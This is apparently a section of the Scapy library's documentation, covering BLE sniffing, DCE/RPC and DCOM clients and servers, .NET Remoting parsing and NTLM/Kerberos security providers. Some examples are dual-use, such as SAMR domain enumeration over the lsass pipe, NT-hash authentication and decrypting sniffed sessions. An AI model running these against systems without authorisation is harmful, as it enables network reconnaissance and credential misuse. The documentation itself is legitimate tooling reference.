crc= 0xb8f7d4\n    ###[ BTLE advertising header ]###\n         RxAdd= public\n         TxAdd= random\n         RFU= 0\n         PDU_type= ADV_IND\n         unused= 0\n         Length= 0x24\n    ###[ BTLE ADV_IND ]###\n            AdvA= 5a:4d:57:fb:0c:32\n            \\data\\\n             |###[ EIR Header ]###\n             |  len= 2\n             |  type= flags\n             |###[ Flags ]###\n             |     flags= general_disc_mode+simul_le_br_edr_ctrl+simul_le_br_edr_host\n             |###[ EIR Header ]###\n             |  len= 26\n             |  type= mfg_specific_data\n             |###[ EIR Manufacturer Specific Data ]###\n             |     company_id= 0x4c\n             |###[ Apple BLE broadcast frame ]###\n             |        \\plist\\\n             |         |###[ Apple BLE submessage ]###\n             |         |  subtype= handoff\n             |         |  len= 14\n             |         |###[ Raw ]###\n             |         |     load= '\\x00\\x9ck\\x8f@D\\x0f\\x15\\x83\\xec\\x89QH\\xb4'\n             |         |###[ Apple BLE submessage ]###\n             |         |  subtype= nearby\n             |         |  len= 5\n             |         |###[ Raw ]###\n             |         |     load= '\\x03\\x18\\xc0\\xb5%'\n\n\nUsing Nordic Semiconductor's nRF Sniffer\n========================================\n\nSince **Scapy >2.5.0**, Scapy supports `Wireshark's extcap <https://www.wireshark.org/docs/man-pages/extcap.html>`_ interfaces.\nYou can therefore use your USB nordic bluetooth dongle, provided that you `have installed <https://infocenter.nordicsemi.com/topic/ug_sniffer_ble/UG/sniffer_ble/installing_sniffer_plugin.html>`_ the Wireshark module properly.\n\n.. code:: pycon\n\n   >>> load_contrib(\"nrf_sniffer\")\n   >>> load_extcap()\n   >>> conf.ifaces\n   Source           Index  Name                          Address\n   nrf_sniffer_ble  100    nRF Sniffer for Bluetooth LE  /dev/ttyUSB0-None\n   [...]\n   >>> sniff(iface=\"/dev/ttyUSB0-None\", prn=lambda x: x.summary())\n   NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND\n   NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND\n   NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND\n   NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_NONCONN_IND\n   NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_NONCONN_IND\n   NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND\n"
  },
  {
    "path": "doc/scapy/layers/dcerpc.rst",
    "content": "DCE/RPC & [MS-RPCE]\n===================\n\n.. note:: DCE/RPC per `DCE/RPC 1.1 <https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf>`_ with the `[MS-RPCE] <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15>`_ additions.\n\nScapy provides support for dissecting and building Microsoft's Windows DCE/RPC calls.\n\nUsage documentation\n-------------------\n\nTerminology\n~~~~~~~~~~~\n\n- ``NDR`` (and ``NDR64``) are the transfer syntax used by DCE/RPC, i.e. how objects are marshalled and sent over the network\n- ``IDL`` or Interface Definition Language is \"a language for specifying operations (procedures or functions), parameters to these operations, and data types\" in context of DCE/RPC\n\nNDR64 and endianness\n~~~~~~~~~~~~~~~~~~~~\n\nAll packets built with NDR extend the ``NDRPacket`` class, which adds the arguments ``ndr64`` and ``ndrendian``.\n\nYou can therefore specify while dissecting or building packets whether it uses NDR64 or not (**by default: no**), or its endian (**by default: little**)\n\n.. code:: python\n\n    NetrServerReqChallenge_Request(b\"\\x00....\", ndr64=True, ndrendian=\"big\")\n\nDissecting\n~~~~~~~~~~\n\nYou can dissect a DCE/RPC packet like any other packet, by calling ``ThePacketClass(<bytes>)``. The only difference is, as mentioned above, that there are extra ``ndr64`` and ``ndrendian`` arguments.\n\n.. note::\n    DCE/RPC is stateful, and requires the dissector to remember which interface is bound, how (negotiation), etc.\n    Scapy therefore provides a ``DceRpcSession`` session that remembers the context to properly dissect requests and responses.\n\nHere's an example where a pcap (included in the ``test/pcaps`` folder) containing a [MS-NRPC] exchange is dissected using Scapy:\n\n.. code:: python\n\n    >>> load_layer(\"msrpce\")\n    >>> bind_layers(TCP, DceRpc, sport=40564)  # the DCE/RPC port\n    >>> bind_layers(TCP, DceRpc, dport=40564)\n    >>> pkts = sniff(offline='dcerpc_msnrpc.pcapng.gz', session=DceRpcSession)\n    >>> pkts[6][DceRpc5].show()\n    ###[ DCE/RPC v5 ]###\n      rpc_vers  = 5 (connection-oriented)\n      rpc_vers_minor= 0\n      ptype     = request\n      pfc_flags = PFC_FIRST_FRAG+PFC_LAST_FRAG\n      endian    = little\n      encoding  = ASCII\n      float     = IEEE\n      reserved1 = 0\n      reserved2 = 0\n      frag_len  = 58\n      auth_len  = 0\n      call_id   = 1\n      ###[ DCE/RPC v5 - Request ]###\n          alloc_hint= 0\n          cont_id   = 0\n          opnum     = 4\n      ###[ NetrServerReqChallenge_Request ]###\n              PrimaryName= None\n              \\ComputerName\\\n              |###[ NDRConformantArray ]###\n              |  max_count = 5\n              |  \\value     \\\n              |   |###[ NDRVaryingArray ]###\n              |   |  offset    = 0\n              |   |  actual_count= 5\n              |   |  value     = b'WIN1'\n              \\ClientChallenge\\\n              |###[ PNETLOGON_CREDENTIAL ]###\n              |  data      = b'12345678'\n\n\nScapy has opted to not abstract any of the NDR fields (see `Design choices`_), allowing to keep access to all lengths, offsets, counts, etc... This allows to put wrong length values anywhere to test implementations.\n\nThe catch is that accessing the value of a field is a bit tedious::\n\n    >>> pkts[6][DceRpc5].ComputerName.value[0].value\n    b'WIN1'\n\nSometimes, you'll be glad to have access to the size of a ConformantArray. Most times, you won't.\nAll ``NDRPacket`` therefore include a ``valueof()`` function that goes through any array or pointer containers::\n\n    >>> pkts[6][NetrServerReqChallenge_Request].valueof(\"ComputerName\")\n    b'WIN1'\n\n.. warning::\n\n    Note that ``DceRpc5`` packets are NOT ``NDRPacket``, so you need to call ``valueof()`` on the NDR payload itself.\n\nBuilding\n~~~~~~~~\n\nIf you were to re-build the previous packet exactly as it was dissected, it would look something like this:\n\n.. code:: python\n\n    >>> pkt = NetrServerReqChallenge_Request(\n    ...    ComputerName=NDRConformantArray(max_count=5, value=[\n    ...        NDRVaryingArray(offset=0, actual_count=5, value=b'WIN1')\n    ...    ]),\n    ...    ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'),\n    ...    PrimaryName=None\n    ... )\n\nIf you don't care about specifying ``max_count``, ``offset`` or ``actual_count`` manually, you can however also do the following:\n\n.. code:: python\n\n    >>> pkt = NetrServerReqChallenge_Request(\n    ...     ComputerName=b'WIN1',\n    ...     ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'),\n    ...     PrimaryName=None\n    ... )\n    >>> pkt.show()\n    ###[ NetrServerReqChallenge_Request ]###\n      PrimaryName= None\n      \\ComputerName\\\n      |###[ NDRConformantArray ]###\n      |  max_count = None\n      |  \\value     \\\n      |   |###[ NDRVaryingArray ]###\n      |   |  offset    = 0\n      |   |  actual_count= None\n      |   |  value     = 'WIN1'\n      \\ClientChallenge\\\n      |###[ PNETLOGON_CREDENTIAL ]###\n      |  data      = '12345678'\n\n\nAnd Scapy will automatically add the ``NDRConformantArray``, ``NDRVaryingArray``... in the middle.\n\nThis applies to ``NDRPointers`` too ! Skipping it will add a default one with a referent id of ``0x20000``. Take ``RPC_UNICODE_STRING`` for instance:\n\n.. code:: python\n\n    >>> RPC_UNICODE_STRING(Buffer=b\"WIN\").show2()\n    ###[ RPC_UNICODE_STRING ]### \n      Length    = 6\n      MaximumLength= 6\n      \\Buffer    \\\n      |###[ NDRPointer ]###\n      |  referent_id= 0x20000\n      |  \\value     \\\n      |   |###[ NDRConformantArray ]###\n      |   |  max_count = 3\n      |   |  \\value     \\\n      |   |   |###[ NDRVaryingArray ]###\n      |   |   |  offset    = 0\n      |   |   |  actual_count= 3\n      |   |   |  value     = 'WIN'\n\n\nClient\n------\n\nScapy also includes a DCE/RPC client: :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client`.\n\nIt provides a bunch of basic DCE/RPC features:\n\n- :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.connect`: connect to a host\n- :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.bind`: bind to a DCE/RPC interface\n- :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.connect_and_bind`: connect to a host, use the endpoint mapper to find the interface then reconnect to the host on the matching address\n- :func:`~scapy.layers.msrpce.rpcclient.DCERPC_Client.sr1_req`: send/receive a DCE/RPC request\n\nTo be able to use an interface, it must have been imported. This makes it so that the :func:`~scapy.layers.dcerpc.register_dcerpc_interface` function is called, allowing the :class:`~scapy.layers.dcerpc.DceRpcSession` session to properly understand the bind/alter requests, and match the DCE/RPCs by opcodes.\n\nIn the DCE/RPC world, there are several \"Transports\". A transport corresponds to the various ways of transporting DCE/RPC. You can have a look at the documentation over `[MS-RPCE] 2.1 <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101>`_. In Scapy, this is implemented in the :class:`~scapy.layers.dcerpc.DCERPC_Transport` enum, that currently contains:\n\n- :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_IP_TCP`: the interface is reached over IP/TCP, on a port that varies. This port can typically be queried using the endpoint mapper, a DCE/RPC service that is always on port 135.\n- :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_NP`: the interface is reached over a named pipe over SMB. This named pipe is typically well-known, or can also be queried using the endpoint mapper (over SMB) on certain cases.\n\nHere's an example sending a ``ServerAlive`` over the ``IObjectExporter`` interface from `[MS-DCOM] <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0>`_.\n\n.. code-block:: python\n\n    from scapy.layers.dcerpc import *\n    from scapy.layers.msrpce.all import *\n\n    client = DCERPC_Client(\n        DCERPC_Transport.NCACN_IP_TCP,\n        ndr64=False,\n    )\n    client.connect(\"192.168.0.100\")\n    client.bind(find_dcerpc_interface(\"IObjectExporter\"))\n\n    req = ServerAlive_Request(ndr64=False)\n    resp = client.sr1_req(req)\n    resp.show()\n\nHere's the same example, but this time asking for :const:`~scapy.layers.dcerpc.RPC_C_AUTHN_LEVEL.PKT_PRIVACY` (encryption) using ``NTLMSSP``:\n\n.. code-block:: python\n\n    from scapy.layers.ntlm import *\n    from scapy.layers.dcerpc import *\n    from scapy.layers.msrpce.all import *\n\n    ssp = NTLMSSP(\n        UPN=\"Administrator\",\n        PASSWORD=\"Password1\",\n    )\n    client = DCERPC_Client(\n        DCERPC_Transport.NCACN_IP_TCP,\n        auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY,\n        ssp=ssp,\n        ndr64=False,\n    )\n    client.connect(\"192.168.0.100\")\n    client.bind(find_dcerpc_interface(\"IObjectExporter\"))\n\n    req = ServerAlive_Request(ndr64=False)\n    resp = client.sr1_req(req)\n    resp.show()\n\nAgain, but this time using :const:`~scapy.layers.dcerpc.RPC_C_AUTHN_LEVEL.PKT_INTEGRITY` (signing) using ``SPNEGOSSP[KerberosSSP]``:\n\n.. code-block:: python\n\n    from scapy.layers.kerberos import *\n    from scapy.layers.spnego import *\n    from scapy.layers.dcerpc import *\n    from scapy.layers.msrpce.all import *\n\n    ssp = SPNEGOSSP(\n        [\n            KerberosSSP(\n                UPN=\"Administrator@domain.local\",\n                PASSWORD=\"Password1\",\n                SPN=\"host/dc1\",\n            )\n        ]\n    )\n    client = DCERPC_Client(\n        DCERPC_Transport.NCACN_IP_TCP,\n        auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY,\n        ssp=ssp,\n        ndr64=False,\n    )\n    client.connect(\"192.168.0.100\")\n    client.bind(find_dcerpc_interface(\"IObjectExporter\"))\n\n    req = ServerAlive_Request(ndr64=False)\n    resp = client.sr1_req(req)\n    resp.show()\n\nHere's a different example, this time connecting over :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_NP` to `[MS-SAMR] <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380>`_ to enumerate the domains a server is in:\n\n.. code-block:: python\n\n    from scapy.layers.ntlm import NTLMSSP, MD4le\n    from scapy.layers.dcerpc import *\n    from scapy.layers.msrpce.all import *\n\n    ssp = NTLMSSP(\n        UPN=\"User\",\n        HASHNT=MD4le(\"Password\"),\n    )\n    client = DCERPC_Client(\n        DCERPC_Transport.NCACN_NP,\n        ssp=ssp,\n        ndr64=False,\n    )\n    client.connect(\"192.168.0.100\")\n    client.open_smbpipe(\"lsass\")  # open the \\pipe\\lsass pipe\n    client.bind(find_dcerpc_interface(\"samr\"))\n\n    # Get Server Handle: call [0] SamrConnect\n    serverHandle = client.sr1_req(SamrConnect_Request(\n        DesiredAccess=(\n            0x00000010 # SAM_SERVER_ENUMERATE_DOMAINS\n        )\n    )).ServerHandle\n\n    # Enumerate domains: call [6] SamrEnumerateDomainsInSamServer\n    EnumerationContext = 0\n    while True:\n        resp = client.sr1_req(\n            SamrEnumerateDomainsInSamServer_Request(\n                ServerHandle=serverHandle,\n                EnumerationContext=EnumerationContext,\n            )\n        )\n        # note: there are a lot of sub-structures\n        print(resp.valueof(\"Buffer\").valueof(\"Buffer\")[0].valueof(\"Name\").valueof(\"Buffer\").decode())\n        EnumerationContext = resp.EnumerationContext  # continue enumeration\n        if resp.status == 0:  # no domain left to enumerate\n            break\n\n    client.close()\n\n.. note:: As you can see, we used the :class:`~scapy.layers.ntlm.NTLMSSP` security provider in the above connection.\n\nThere are extensions to the :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client` class:\n\n- the :class:`~scapy.layers.msrpce.msnrpc.NetlogonClient`, worth mentioning because it implements its own :class:`~scapy.layers.msrpce.msnrpc.NetlogonSSP`:\n\n.. code-block:: python\n\n    from scapy.layers.msrpce.msnrpc import *\n    from scapy.layers.msrpce.raw.ms_nrpc import *\n\n    client = NetlogonClient(\n        auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY,\n        computername=\"SERVER\",\n        domainname=\"DOMAIN\",\n    )\n    client.connect_and_bind(\"192.168.0.100\")\n    client.negotiate_sessionkey(bytes.fromhex(\"77777777777777777777777777777777\"))\n    client.close()\n\n- the :class:`~scapy.layers.msrpce.msdcom.DCOM_Client`. More details are available in `DCOM <dcom.html>`_\n\nServer\n------\n\nIt is also possible to create your own DCE/RPC server. This takes the form of creating a :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server` class, then serving it over a transport.\n\nThis class contains a :func:`~scapy.layers.msrpce.rpcserver.DCERPC_Server.answer` function that is used to register a handler for a Request, such as for instance:\n\n.. code-block:: python\n\n    from scapy.layers.dcerpc import *\n    from scapy.layers.msrpce.all import *\n\n    class MyRPCServer(DCERPC_Server):\n        @DCERPC_Server.answer(NetrWkstaGetInfo_Request)\n        def handle_NetrWkstaGetInfo(self, req):\n            \"\"\"\n            NetrWkstaGetInfo [MS-SRVS]\n            \"returns information about the configuration of a workstation.\"\n            \"\"\"\n            return NetrWkstaGetInfo_Response(\n                WkstaInfo=NDRUnion(\n                    tag=100,\n                    value=LPWKSTA_INFO_100(\n                        wki100_platform_id=500,  # NT\n                        wki100_ver_major=5,\n                    ),\n                ),\n                ndr64=self.ndr64,\n            )\n\nLet's spawn this server, listening on the ``12345`` port using the :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_IP_TCP` transport.\n\n.. code-block:: python\n\n    MyRPCServer.spawn(\n        DCERPC_Transport.NCACN_IP_TCP,\n        port=12345,\n    )\n\n\nOf course that also works over :const:`~scapy.layers.dcerpc.DCERPC_Transport.NCACN_NP`, with for instance a :class:`~scapy.layers.ntlm.NTLMSSP`:\n\n.. code-block:: python\n\n    from scapy.layers.ntlm import NTLMSSP, MD4le\n    ssp = NTLMSSP(\n        IDENTITIES={\n            \"User1\": MD4le(\"Password\"),\n        }\n    )\n\n    MyRPCServer.spawn(\n        DCERPC_Transport.NCACN_NP,\n        ssp=ssp,\n        iface=\"eth0\",\n        port=445,\n        ndr64=True,\n    )\n\n\nTo start an endpoint mapper (this should be a separate process from your RPC server), you can use the default :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server` as such:\n\n.. code-block:: python\n\n    from scapy.layers.dcerpc import *\n    from scapy.layers.msrpce.all import *\n\n    DCERPC_Server.spawn(\n        DCERPC_Transport.NCACN_IP_TCP,\n        iface=\"eth0\",\n        port=135,\n        portmap={\n            find_dcerpc_interface(\"wkssvc\"): 12345,\n        },\n        ndr64=True,\n    )\n\n\nDebugging with extended error information (eerr)\n------------------------------------------------\n\nTo debug a RPC call, you can enable the forwarding of Extended Error Information in ``Computer Configuration > Administrative Templates > System > Remote Procedure Call`` on the remote computer.\n\n.. image:: ../graphics/dcerpc/debug_eerr.png\n   :align: center\n\nOnce this is done, load EERR in Scapy (in your script) as such:\n\n.. code:: python\n\n   from scapy.layers.msrpce.mseerr import *\n\nTo enable parsing of the extended error information. Those information will provide a more in-depth stack trace of errors, if available.\n\nPassive sniffing\n----------------\n\nIf you're doing passive sniffing of a DCE/RPC session, you can instruct Scapy to still use its DCE/RPC session in order to check the INTEGRITY and decrypt (if PRIVACY is used) the packets.\n\n.. code-block:: python\n\n    from scapy.all import *\n\n    # Bind DCE/RPC port\n    bind_bottom_up(TCP, DceRpc5, dport=12345)\n    bind_bottom_up(TCP, DceRpc5, dport=12345)\n\n    # Enable passive DCE/RPC session\n    conf.dcerpc_session_enable = True\n\n    # Define SSPs that can be used for decryption / verify\n    conf.winssps_passive = [\n        SPNEGOSSP([\n            NTLMSSP(\n                IDENTITIES={\n                    \"User1\": MD4le(\"Password1!\"),\n                },\n            ),\n        ])\n    ]\n\n    # Sniff\n    pkts = sniff(offline=\"dcerpc_exchange.pcapng\", session=TCPSession)\n    pkts.show()\n\n\n.. warning:: NTLM, KerberosSSP and SPNEGOSSP are currently supported. NetlogonSSP is still unsupported.\n\n\nDefine custom packets\n---------------------\n\nTODO: Add documentation on how to define NDR packets.\n\n.. _Design choices:\n\nDesign choices\n--------------\n\nNDR is a rather complex encoding. For instance, there are multiple types of arrays:\n\n- fixed arrays\n- conformant arrays\n- varying arrays\n- conformant varying arrays\n\nAll of which have slightly different representations on the network, but generally speaking it can look like this:\n\n.. image:: ../graphics/dcerpc/ndr_conformant_varying_array.png\n   :align: center\n\nThose lengths are mostly computable, but this raises the question of: **what should Scapy report to the user?**.\n\nSome implementations (like impacket's), have chosen to abstract the lengths, offsets, etc. and hide it to the user. This has the big advantage that it makes packets much easier to build, but has the inconvenience that it is in fact hiding part of the information contained in the packet, which really is against Scapy's philosophy.\n\nThe same happens when encoding pointers, which looks something like this:\n\n.. image:: ../graphics/dcerpc/ndr_full_pointer.png\n   :align: center\n\nwhere it is tempting to hide the ``referent_id`` part, which is on Windows in most parts irrelevant.\n\n**In Scapy, you will find all the fields**. The pros are that it is exhaustive and doesn't hide any information, the cons is that you need to use the utils (``valueof()`` on dissection, implicit ``any2i`` on build) in order for it not to be a massive pain.\n"
  },
  {
    "path": "doc/scapy/layers/dcom.rst",
    "content": "[MS-DCOM]\n=========\n\nDCOM is a mechanism to manipulate COM objects remotely. It is in many ways just an extension over normal DCE/RPC, so understanding DCE/RPC concepts beforehand can be very useful.\nBefore reading this, have a look at Scapy's `DCE/RPC <dcerpc.html>`_ documentation page.\n\nTerminology\n-----------\n\n- In DCOM one instantiates 'classes' to get 'object references'. A class implements one or several 'interfaces', each of which has methods.\n- ``CLSID``: the UIID of a **class**, used to instantiate it. This is typically chosen by whoever implements the COM object.\n- ``IID``: the UIID of an **interface**, used to request an IPID. This is chosen by whoever defines the COM interface (mostly Microsoft).\n- ``IPID``: a UIID that uniquely references an **interface on an object**. This allows to tell DCOM on which object to run the request we send.\n\nThere are other IDs such as the OID (a 64bit number that uniquely references each object), and the OXID (a 64bit number that uniquely references each object exporter), but we won't get into the details.\n\nPer the spec, a DCOM client is supposed to keep track of the IPID, OID and OXID ids. In this regard, Scapy abstracts their usage.\nOn the other hand, the calling application is supposed to know the ``CLSID`` of the class it wishes to instantiate, and the various ``IID`` of the interfaces it wishes to use.\n\nGeneral behavior of a DCOM client\n---------------------------------\n\n1. Setup the DCOM client (endpoint, SSP, etc.)\n2. Get an object reference: Instantiate a class to get an object reference of the instance (``RemoteCreateInstance``), **OR**, get an object reference towards the class itself (``RemoteGetClassObject``).\n3. Acquire the IPID of an interface of the object.\n4. Call a method of that interface.\n5. Release the reference counts on the interface (delete the IPID).\n\nStep 3 can be done manually through the ``AcquireInterface()`` method, but Scapy will also automatically call it if you try to use an interface that you haven't acquired on an object.\n\nUsing the DCOM client\n---------------------\n\nGeneral usage\n~~~~~~~~~~~~~\n\n1. Setup the DCOM client and connect to the object resolver (which is by default on port 135).\n\n.. code:: python\n\n    from scapy.layers.msrpce.msdcom import DCOM_Client\n    from scapy.layers.ntlm import NTLMSSP\n\n    client = DCOM_Client(\n        ssp=NTLMSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"Scapy1111@\"),\n    )\n    client.connect(\"server1.domain.local\")\n\n.. note:: See the examples in `DCE/RPC <dcerpc.html>`_ to connect with SPNEGO/Kerberos.\n\n2. Instantiate a class to get an object reference\n\n.. code:: python\n\n    import uuid\n    from scapy.layers.dcerpc import find_com_interface\n    from scapy.layers.msrpce.raw.ms_pla import GetDataCollectorSets_Request\n\n    CLSID_TraceSessionCollection = uuid.UUID(\"03837530-098b-11d8-9414-505054503030\")\n    # The COM interface must have been compiled by scapy-rpc (midl-to-scapy)\n    IDataCollectorSetCollection = find_com_interface(\"IDataCollectorSetCollection\")\n\n    # Get new object reference\n    objref = client.RemoteCreateInstance(\n        # The CLSID we're instantiating\n        clsid=CLSID_TraceSessionCollection,\n        iids=[\n            # An initial list of interfaces to ask for. There must be at least 1.\n            IDataCollectorSetCollection,\n        ]\n    )\n\n3. Call a method on that object reference\n\n.. code:: python\n\n    result = objref.sr1_req(\n        # The request message (here from [MS-PLA])\n        pkt=GetDataCollectorSets_Request(\n            server=None,\n            filter=NDRPointer(\n                referent_id=0x72657355,\n                value=FLAGGED_WORD_BLOB(\n                    cBytes=18,\n                    asData=r\"session\\*\".encode(\"utf-16le\"),\n                )\n            ),\n        ),\n        # The interface to send it on\n        iface=IDataCollectorSetCollection,\n    )\n\n4. Release all the requested interfaces on the object reference\n\n.. code:: python\n\n    objref.release()\n\n5. Close the client\n\n.. code:: python\n\n    client.close()\n\n\nUnmarshalling object references\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSome methods return a reference to an object that is created by the remote server. On the network,\nthose are typically marshalled as a ``MInterfacePointer`` structure. Such a structure can be \"unmarshalled\" into a local object reference that can be used in Scapy to call methods on that object.\n\n.. code:: python\n\n    # For instance, let's assume we're calling Next() of the IEnumVARIANT\n    resp = enum.sr1_req(\n        pkt=Next_Request(celt=1),\n        iface=IEnumVARIANT,\n    )\n\n    # Get the MInterfacePointer value\n    value = resp.valueof(\"rgVar\")[0].valueof(\"_varUnion\")\n    assert isinstance(value, MInterfacePointer)\n\n    # Unmarshall it and acquire an initial interface on it.\n    objref = client.UnmarshallObjectReference(\n        value,\n        iid=IDataCollectorSet,\n    )\n"
  },
  {
    "path": "doc/scapy/layers/dotnet.rst",
    "content": ".NET Protocols\n==============\n\nScapy implements a few .NET specific protocols. Those protocols are a bit uncommon, but it can be useful to try to understand what's sent by .NET applications, or for more offensive purposes (issues with .NET deserialization for instance).\n\n.NET Remoting\n-------------\n\nImplemented under ``ms_nrtp``, you can load it using::\n\n    from scapy.layers.ms_nrtp import *\n\nThis supports:\n\n- The .NET remote protocol: ``NRTP*`` classes\n- The .NET Binary Formatter: ``NRBF*`` classes\n\nFor instance you can try to parse a .NET Remoting payload generated using ysoserial with the ``NRBF()`` to analyse what it's doing.\n"
  },
  {
    "path": "doc/scapy/layers/gssapi.rst",
    "content": "GSSAPI\n======\n\nScapy provides access to various `Security Providers <https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture>`_ following the GSSAPI model, but aiming at interacting with the Windows world.\n\n.. note::\n\n    The GSSAPI interfaces are based off the following documentations:\n    \n        - GSSAPI: `RFC4121 <https://datatracker.ietf.org/doc/html/rfc4121>`_ / `RFC2743 <https://datatracker.ietf.org/doc/html/rfc2743>`_\n        - GSSAPI C bindings: `RFC2744 <https://datatracker.ietf.org/doc/html/rfc2744>`_\n\nUsage\n-----\n\n.. _ssplist:\n\nThe following SSPs are currently provided:\n\n    - :class:`~scapy.layers.ntlm.NTLMSSP`\n    - :class:`~scapy.layers.kerberos.KerberosSSP`\n    - :class:`~scapy.layers.spnego.SPNEGOSSP`\n    - :class:`~scapy.layers.msrpce.msnrpc.NetlogonSSP`\n\nBasically those are classes that implement two functions, trying to micmic the RFCs:\n\n- :func:`~scapy.layers.gssapi.SSP.GSS_Init_sec_context`: called by the client, passing it a ``Context`` and optionally a token\n- :func:`~scapy.layers.gssapi.SSP.GSS_Accept_sec_context`: called by the server, passing it a ``Context`` and optionally a token\n\nThey both return the updated Context, a token to optionally send to the server/client and a GSSAPI status code.\n\n.. note::\n\n    You can typically use it in :class:`~scapy.layers.smbclient.SMB_Client`, :class:`~scapy.layers.smbserver.SMB_Server`, :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client` or :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server`.\n    Have a look at `SMB <smb.html>`_ and `DCE/RPC <dcerpc.html>`_ to get examples on how to use it.\n\nLet's implement our own client that uses one of those SSPs.\n\nClient\n~~~~~~\n\n.. _ntlm:\n\nFirst let's create the SSP. We'll take :class:`~scapy.layers.ntlm.NTLMSSP` as an example but the others would work just as well.\n\n.. code:: python\n\n    from scapy.layers.ntlm import *\n    clissp = NTLMSSP(\n        UPN=\"Administrator@domain.local\",\n        PASSWORD=\"Password1!\",\n    )\n\nLet's get the first token (in this case, the ntlm negotiate):\n\n.. code:: python\n\n    # We start with a context = None and a val (server answer) = None\n    sspcontext, token, status = clissp.GSS_Init_sec_context(None, None)\n    # sspcontext will be passed to subsequent calls and stores information\n    # regarding this NTLM session, token is the NTLM_NEGOTIATE and status\n    # the state of the SSP\n    assert status == GSS_S_CONTINUE_NEEDED\n\nSend this token to the server, or use it as required, and get back the server's token.\nYou can then pass that token as the second parameter of :func:`~scapy.layers.gssapi.SSP.GSS_Init_sec_context`.\nTo give an example, this is what is done in the LDAP client:\n\n.. code:: python\n\n    # Do we have a token to send to the server?\n    while token:\n        resp = self.sr1(\n            LDAP_BindRequest(\n                bind_name=ASN1_STRING(b\"\"),\n                authentication=LDAP_Authentication_SaslCredentials(\n                    mechanism=ASN1_STRING(b\"SPNEGO\"),\n                    credentials=ASN1_STRING(bytes(token)),\n                ),\n            )\n        )\n        sspcontext, token, status = clissp.GSS_Init_sec_context(\n            self.sspcontext, GSSAPI_BLOB(resp.protocolOp.serverSaslCreds.val)\n        )\n\n.. _spnego:\n\nIf you want to use :class:`~scapy.layers.spnego.SPEGOSSP`, you could wrap the SSP as so:\n\n.. code:: python\n\n    from scapy.layers.ntlm import *\n    from scapy.layers.spnegossp import SPNEGOSSP\n    clissp = SPNEGOSSP(\n        [\n            NTLMSSP(\n                UPN=\"Administrator@domain.local\",\n                PASSWORD=\"Password1!\",\n            ),\n            KerberosSSP(\n                UPN=\"Administrator@domain.local\",\n                PASSWORD=\"Password1!\",\n                SPN=\"host/dc1.domain.local\",\n            ),\n        ]\n    )\n\nYou can override the GSS-API ``req_flags`` when calling :func:`~scapy.layers.gssapi.SSP.GSS_Init_sec_context`, using values from :class:`~scapy.layers.gssapi.GSS_C_FLAGS`:\n\n.. code:: python\n\n    sspcontext, token, status = clissp.GSS_Init_sec_context(None, None, req_flags=(\n        GSS_C_FLAGS.GSS_C_EXTENDED_ERROR_FLAG |\n        GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |\n        GSS_C_FLAGS.GSS_C_CONF_FLAG  # Asking for CONFIDENTIALITY\n    ))\n\n\nServer\n~~~~~~\n\nImplementing a server is very similar to a client but you'd use :func:`~scapy.layers.gssapi.SSP.GSS_Accept_sec_context` instead.\nThe client is properly authenticated when `status` is `GSS_S_COMPLETE`.\n\nLet's use :class:`~scapy.layers.ntlm.NTLMSSP` as an example of server-side SSP.\n\n.. code:: python\n\n    from scapy.layers.ntlm import *\n    clissp = NTLMSSP(\n        IDENTITIES={\n            \"User1\": MD4le(\"Password1!\"),\n            \"User2\": MD4le(\"Password2!\"),\n        }\n    )\n\nYou'll find other examples of how to instantiate a SSP in the docstrings of each SSP. See `the list <#ssplist>`_"
  },
  {
    "path": "doc/scapy/layers/http.rst",
